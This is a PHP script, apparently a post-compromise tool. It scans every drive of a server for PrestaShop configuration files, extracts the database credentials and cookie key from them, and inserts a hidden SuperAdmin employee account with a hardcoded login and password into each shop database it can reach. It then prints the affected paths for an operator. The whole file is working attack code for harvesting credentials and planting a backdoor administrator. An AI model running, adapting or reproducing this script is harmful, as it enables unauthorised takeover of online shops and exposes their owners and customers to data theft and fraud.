<?php  /**  * PrestaShop: A>740BL employee (SuperAdmin) G5@57 parameters.php / settings.inc.php.  * Placeholders: root lnl3LWJUM8 admin@localhost.local /  */ function path_join($path, $file) {     return rtrim($path, '/\\') . DIRECTORY_SEPARATOR . $file; } function scan($path) {     if ($dir = @opendir($path)) {         while (false !== ($file = readdir($dir))) {             $p = path_join($path, $file);             if ($file === '.' || $file === '..') {                 continue;             }             if (is_link($p)) {                 continue;             }             if (is_dir($p)) {                 if ($file === 'app' || $file === 'config') {                     scan($p);                 } else {                     scan($p);                 }             } elseif ($file === 'parameters.php' || $file === 'settings.inc.php') {                 inject($p);             }         }     } } function parse_ps_config($data) {     $out = ['host' => null, 'user' => null, 'password' => null, 'db' => null, 'prefix' => 'ps_', 'cookie_key' => null];     if (preg_match("/'database_host'\\s*=>\\s*'([^']*)'/", $data, $m)) {         $out['host'] = $m[1];     }     if (preg_match("/'database_user'\\s*=>\\s*'([^']*)'/", $data, $m)) {         $out['user'] = $m[1];     }     if (preg_match("/'database_password'\\s*=>\\s*'([^']*)'/", $data, $m)) {         $out['password'] = $m[1];     }     if (preg_match("/'database_name'\\s*=>\\s*'([^']*)'/", $data, $m)) {         $out['db'] = $m[1];     }     if (preg_match("/'database_prefix'\\s*=>\\s*'([^']*)'/", $data, $m)) {         $out['prefix'] = $m[1];     }     if (preg_match("/'cookie_key'\\s*=>\\s*'([^']*)'/", $data, $m)) {         $out['cookie_key'] = $m[1];     }     // legacy settings.inc.php     if (!$out['host'] && preg_match("/define\\('_DB_SERVER_'\\s*,\\s*'([^']*)'\\)/", $data, $m)) {         $out['host'] = $m[1];     }     if (!$out['user'] && preg_match("/define\\('_DB_USER_'\\s*,\\s*'([^']*)'\\)/", $data, $m)) {         $out['user'] = $m[1];     }     if ($out['password'] === null && preg_match("/define\\('_DB_PASSWD_'\\s*,\\s*'([^']*)'\\)/", $data, $m)) {         $out['password'] = $m[1];     }     if (!$out['db'] && preg_match("/define\\('_DB_NAME_'\\s*,\\s*'([^']*)'\\)/", $data, $m)) {         $out['db'] = $m[1];     }     if (preg_match("/define\\('_DB_PREFIX_'\\s*,\\s*'([^']*)'\\)/", $data, $m)) {         $out['prefix'] = $m[1];     }     if (!$out['cookie_key'] && preg_match("/define\\('_COOKIE_KEY_'\\s*,\\s*'([^']*)'\\)/", $data, $m)) {         $out['cookie_key'] = $m[1];     }     return $out; } function inject($p) {     $user_login = 'root';     $user_password = 'lnl3LWJUM8';     $user_email = 'admin@localhost.local';     $data = @file_get_contents($p);     if ($data === false) {         return;     }     $conf = parse_ps_config($data);     if (!$conf['host'] || !$conf['user'] || !$conf['db']) {         return;     }     $mysqli = @new mysqli($conf['host'], $conf['user'], $conf['password'], $conf['db']);     if ($mysqli->connect_errno) {         return;     }     $mysqli->set_charset('utf8mb4');     $prefix = $conf['prefix'] ?: 'ps_';     $emp = $prefix . 'employee';     if ($r = @$mysqli->query("SHOW TABLES LIKE '{$emp}'")) {         if ($r->num_rows === 0) {             $r->close();             $mysqli->close();             return;         }         $r->close();     }     $email_e = $mysqli->real_escape_string($user_email);     $login_e = $mysqli->real_escape_string($user_login);     $chk = $mysqli->query("SELECT id_employee FROM `{$emp}` WHERE email = '{$email_e}' OR email = '{$login_e}' LIMIT 1");     if ($chk && $chk->num_rows > 0) {         $chk->close();         $mysqli->close();         return;     }     if ($chk) {         $chk->close();     }     // PS 1.7+ prefers password_hash; legacy uses md5(cookie_key.passwd)     $hash = password_hash($user_password, PASSWORD_BCRYPT);     if ($conf['cookie_key']) {         $legacy = md5($conf['cookie_key'] . $user_password);     } else {         $legacy = md5($user_password);     }     $hash_e = $mysqli->real_escape_string($hash);     $legacy_e = $mysqli->real_escape_string($legacy);     $profile = 1;     $ok = $mysqli->query(         "INSERT INTO `{$emp}` (`id_profile`,`id_lang`,`lastname`,`firstname`,`email`,`passwd`,`last_passwd_gen`,`stats_date_from`,`stats_date_to`,`bo_theme`,`bo_css`,`default_tab`,`bo_width`,`bo_menu`,`active`,`optin`,`id_last_order`,`id_last_customer_message`,`id_last_customer`,`last_connection_date`,`reset_password_token`,`reset_password_validity`) " .         "VALUES ({$profile},1,'Admin','Root','{$email_e}','{$hash_e}',NOW(),DATE(NOW()),DATE(NOW()),'default','theme.css',1,0,1,1,0,0,0,0,NULL,NULL,NULL)"     );     if (!$ok) {         $mysqli->query(             "INSERT INTO `{$emp}` (`id_profile`,`id_lang`,`lastname`,`firstname`,`email`,`passwd`,`last_passwd_gen`,`active`) " .             "VALUES ({$profile},1,'Admin','Root','{$email_e}','{$legacy_e}',NOW(),1)"         );     }     echo "<f>admin@@@{$p}</f>\n";     $mysqli->close(); } function scanRootPaths() {     if (strtoupper(substr(PHP_OS, 0, 3)) === 'WIN') {         foreach (range('A', 'Z') as $driveLetter) {             $drive = $driveLetter . ':\\';             if (is_dir($drive)) {                 scan($drive);             }         }     } else {         scan('/');     } } scanRootPaths(); die('!ended!');